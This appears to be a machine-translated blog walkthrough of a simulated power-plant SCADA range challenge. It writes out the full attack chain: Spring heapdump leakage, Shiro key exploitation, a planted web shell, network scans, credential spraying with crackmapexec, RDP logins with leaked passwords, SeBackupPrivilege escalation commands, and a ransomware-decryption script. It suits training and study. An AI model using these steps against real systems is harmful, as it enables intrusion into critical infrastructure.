banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

春秋云镜仿真靶场-ThermalPower記録

[[仿真場景 - ThermalPower]]#

このシーンは、電力生産企業の一部のビジネスシーンをシミュレーションしています。「火創エネルギー」社は、ネットワークセキュリティの脅威を十分に重視せず、敏感な領域のサービスを誤って公衆ネットワークに構成したため、外部の APT 組織がこれらのサービスに簡単にアクセスできるようになり、最終的に電力配分、製造プロセス、その他の重要な設備を制御するサービスが攻撃を受け、ランサムウェアが展開されました。プレイヤーの任務は、APT 組織の浸透行動を分析し、レベルリストに従って攻撃経路を復元し、ランサムウェアによって暗号化されたファイルを復号化することです。

添付リンク:https://pan.baidu.com/s/13jTP6jWi6tLWkbyO8SQSnQ?pwd=kj6h

  • 内部ネットワーク浸透
  • Shiro
  • SCADA
  • 工業制御セキュリティ

第一関#

公衆ネットワークに露出しているサービスのセキュリティを評価し、製造エリアへの足場を確立しようとします。

fscan スキャンで 8080 ポートを取得

image

8080 ポートへのアクセスは以下の通り、ログイン画面です

image

ディレクトリスキャンで actuator ディレクトリの存在がわかりました

http://39.101.207.104:8080/actuator

image

heapdump ファイルがあり、heapdump をダウンロード

http://39.101.207.104:8080/actuator/heapdump

https://github.com/whwlsfb/JDumpSpider/releases/tag/dev-20230406T031230 ツールを使用してデータを抽出

shiro key を見つけました

image

algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES

ツールを使用して直接利用

image

flag01 を取得

image

第二関#

SCADA エンジニアの個人 PC を接管し、Windows 特権グループを悪用してシステム権限に昇格しようとします。

メモリマルウェアを打ち、アリ剣を接続

image

fscan をアップロードし、172.22.17.X セグメントをスキャン

image

fscan スキャン結果は以下の通りです

172.22.17.213:8080 open
172.22.17.6:445 open
172.22.17.6:139 open
172.22.17.6:135 open
172.22.17.6:80 open
172.22.17.213:22 open
172.22.17.6:21 open
[*] NetBios 172.22.17.6     WORKGROUP\WIN-ENGINEER        
[*] WebTitle http://172.22.17.213:8080 code:302 len:0      title:None リダイレクトurl: http://172.22.17.213:8080/login;jsessionid=987CF47D962F2CDF812BC2F3AC111548
[*] NetInfo 
[*]172.22.17.6
   [->]WIN-ENGINEER
   [->]172.22.17.6
[+] ftp 172.22.17.6:21:anonymous 
   [->]Modbus
   [->]PLC
   [->]web.config
   [->]WinCC
   [->]内部ソフトウェア
   [->]火創エネルギー内部資料
[*] WebTitle http://172.22.17.213:8080/login;jsessionid=987CF47D962F2CDF812BC2F3AC111548 code:200 len:2936   title:火創エネルギー監視画面管理プラットフォーム
[*] WebTitle http://172.22.17.6        code:200 len:661    title:172.22.17.6 - /
[+] PocScan http://172.22.17.213:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://172.22.17.213:8080 poc-yaml-springboot-env-unauth spring2

2 台のマシンをスキャンしました

http://172.22.17.213:8080 # 取得済み
http://172.22.17.6 ftpサービスがあります

プロキシを設定

image

ftp 匿名ログイン 172.22.17.6、

image

172.22.17.6 の 80 ポートはディレクトリトラバーサルが可能で、いくつかの情報が漏洩しました

http://172.22.17.6/%E7%81%AB%E5%88%9B%E8%83%BD%E6%BA%90%E5%86%85%E9%83%A8%E8%B5%84%E6%96%99/SCADA.txt

image

ここに新しいネットワークセグメントがあります:172.22.26.xx

内部通知でパスワード規範が漏洩しました

image

連絡先リストにはいくつかのアカウントとパスワードがあります

image

crackmapexec を使用してブルートフォースを試み、2 つのアカウントを取得しました。それぞれ chenhua と zhaoli です

proxychains crackmapexec smb 172.22.17.6 -u chenhua -p chenhua@0813
proxychains crackmapexec smb 172.22.17.6 -u zhaoli -p zhaoli@0821

image

image

xfreerdp でログイン

proxychains -q xfreerdp /u:chenhua /p:chenhua@0813 /v:172.22.17.6:3389 +clipboard /drive:tmp,/tmp

ここで Windows 特権グループを悪用してシステム権限に昇格できます。

image

注:whoami /priv で SeBackupPrivilege の状態を確認できます

https://github.com/k4sth4/SeBackupPrivilege をダウンロード

PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> import-module .\SeBackupPrivilegeUtils.dll
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> import-module .\SeBackupPrivilegeCmdLets.dll
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> Set-SeBackupPrivilege
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> Get-SeBackupPrivilege
SeBackupPrivilege is enabled
PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> dir c:\Users\Administrator\flag\
ディレクトリ: C:\Users\Administrator\flag

Mode LastWriteTime Length Name


-a---- 2024/6/16 15:51 350 flag02.txt

PS C:\Users\chenhua\Desktop\SeBackupPrivilege-main\SeBackupPrivilege-main> Copy-FileSeBackupPrivilege c:\Users\Administrator\flag\flag02.txt C:\Users\chenhua\Desktop\flag02.txt
Copied 350 bytes

image

flag02 を取得

image

第三関#

fscan で 172.22.26.xx セグメントをスキャンした結果は以下の通りです:

172.22.26.11:1433 open
172.22.26.11:445 open
172.22.26.11:139 open
172.22.26.11:135 open
172.22.26.11:80 open
[*] alive ports len is: 5
start vulscan
[*] NetBios 172.22.26.11    WORKGROUP\WIN-SCADA           
[+] mssql 172.22.26.11:1433:sa 123456
[*] NetInfo 
[*]172.22.26.11
   [->]WIN-SCADA
   [->]172.22.26.11
[*] WebTitle http://172.22.26.11       code:200 len:703    title:IIS Windows Server

172.22.26.11 は SCADA エンジニアのステーションであるべきです。SCADA エンジニアのステーションを接管し、ボイラーを起動しようとします。

WIN-SCADA: 172.22.26.xx
Username: Administrator
Password: IYnT3GyCiy3

以前に漏洩したアカウントとパスワードを使用して 172.22.26.11 にログイン

proxychains -q xfreerdp /u:Administrator /p:IYnT3GyCiy3 /v:172.22.26.11:3389 +clipboard /drive:tmp,/tmp

ログイン後、ボイラーを開くをクリックすると、flag を確認できます。

image

flag{bcd080d5-2cf1-4095-ac15-fa4bef9ca1c0}

第四関#

SCADA エンジニアのステーションからデータベースのバックアップを取得し、バックアップファイルに機密データが漏洩していないか分析しようとします。

win + d でデスクトップに戻ると、ランサムウェアに暗号化されていました

image

デスクトップに「ファイルを解読する方法.txt」というファイルがあり、開くとファイルが暗号化されていることがわかります

image

デスクトップ上の navicat データベース接続ツールを開くと、ScadaDB の中に flag が見つかりますが、flag は暗号化されています

image

flag はデスクトップにロックされた sql ファイルにある可能性があります

image

C ドライブでランサムウェアのソースファイルを見つけました

image

これは.net プログラムで、dnspy で開くことができます

image

ウイルスはAESCryptoを使用して暗号化と復号化を行います

image

上記のコードに基づいて、AES_KEYを取得する必要がありますが、AES_KEYprivateKeyencryptedAesKeyを通じて取得する必要があります。

image

百度網盤はこれら 2 つのファイルを提供しました

image

privateKey の内容は以下の通りです:

image

ウェブサイトhttps://www.ssleye.com/ssltool/pem_xml.html を使用して XML 形式を PEM 形式に変換し、`PRIVATE KEY` を取得

image

次に、https://www.lddgo.net/encrypt/rsa を使用して `aes keyを解読します。入力内容はencryptedAesKey` に暗号化された内容で、解読後に一連の文字を取得します。

image

大頭師傅のスクリプトを使用して解読します

from Crypto.Cipher import AES
import os
import base64

AES_KEY = base64.b64decode("cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk=")

def decrypt_file(input_file, output_file):
    aes_cipher = AES.new(AES_KEY, AES.MODE_CBC)
    with open(input_file, 'rb') as f:
        iv = f.read(16)
        aes_cipher = AES.new(AES_KEY, AES.MODE_CBC, iv)
        with open(output_file, 'wb') as decrypted_file:
            while True:
                chunk = f.read(16)
                if len(chunk) == 0:
                    break
                decrypted_chunk = aes_cipher.decrypt(chunk)
                decrypted_file.write(decrypted_chunk)

    print("解読完了")

input_file = "ScadaDB.sql.locky"
output_file = "ScadaDB.sql"  # 解読後のファイル
decrypt_file(input_file, output_file)

解読後の ScadaDB.sql ファイルを開くと、最終的に flag04 を取得します

image

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。